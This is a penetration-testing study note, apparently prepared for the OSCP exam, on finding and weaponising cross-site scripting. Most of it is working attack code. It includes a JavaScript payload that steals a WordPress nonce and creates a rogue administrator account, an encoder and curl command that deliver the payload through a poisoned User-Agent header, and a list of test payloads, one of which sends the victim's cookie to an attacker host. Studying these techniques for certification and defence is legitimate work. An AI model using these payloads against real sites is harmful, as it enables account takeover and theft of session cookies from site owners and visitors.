// notes/ Web Exploitation
📜

Cross-Site Scripting (XSS)

Identify entry points and weaponize stored XSS to create a WordPress admin via a poisoned User-Agent.

#web#xss#javascript#wordpress
source · airouboss/oscp-prep-notes-2026 · web/xss.md

Cross-Site Scripting (XSS)

Unsanitized input reflected or stored as output lets you run JavaScript in a victim's session. On OSCP the high-value use is a stored payload that performs an administrative action (e.g. creating an admin user in WordPress).

Identify entry points

Look for input fields (search, comments, profile, headers like User-Agent) whose values render back into a page. Test these characters and watch whether they're escaped:

🐺 howlsec@kali
01< > ' " { } ;

Confirm JS execution in the browser console:

🐺 howlsec@kali
01function multiplyValues(x,y) { return x * y; }
02let a = multiplyValues(3, 5);
03console.log(a); // 15 -> JS runs

Stored XSS → create a WordPress admin

Reference: https://shift8web.ca/craft-xss-payload-create-admin-user-in-wordpress-user/

🐺 howlsec@kali
01// 1. Grab the nonce
02var ajaxRequest = new XMLHttpRequest();
03var requestURL = "/wp-admin/user-new.php";
04var nonceRegex = /ser" value="([^"]*?)"/g;
05ajaxRequest.open("GET", requestURL, false);
06ajaxRequest.send();
07var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
08var nonce = nonceMatch[1];
09
10// 2. Create an administrator
11var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";
12ajaxRequest = new XMLHttpRequest();
13ajaxRequest.open("POST", requestURL, true);
14ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
15ajaxRequest.send(params);

Deliver it

Minify (jscompress.com), then encode to String.fromCharCode(...) so it survives inside <script> in a header. Deliver via a poisoned User-Agent through Burp:

🐺 howlsec@kali
01// Encoder
02function encode_to_javascript(string) {
03 var input = string, output = '';
04 for (pos = 0; pos < input.length; pos++) {
05 output += input.charCodeAt(pos);
06 if (pos != (input.length - 1)) output += ",";
07 }
08 return output;
09}
10let encoded = encode_to_javascript('insert_minified_javascript');
11console.log(encoded);
🐺 howlsec@kali
$curl -i http://offsecwp --user-agent "<script>eval(String.fromCharCode(118,97,114,...))</script>" --proxy 127.0.0.1:8080

The payload is stored when the log/visitor plugin renders the User-Agent; it fires when an admin views the plugin dashboard, creating your attacker admin account.

Common test payloads

🐺 howlsec@kali
01<script>alert(document.cookie)</script>
02<img src=x onerror=alert(document.cookie)>
03<svg onload=alert(document.cookie)>
04<script>fetch('http://ATTACKER_IP/?c='+document.cookie)</script>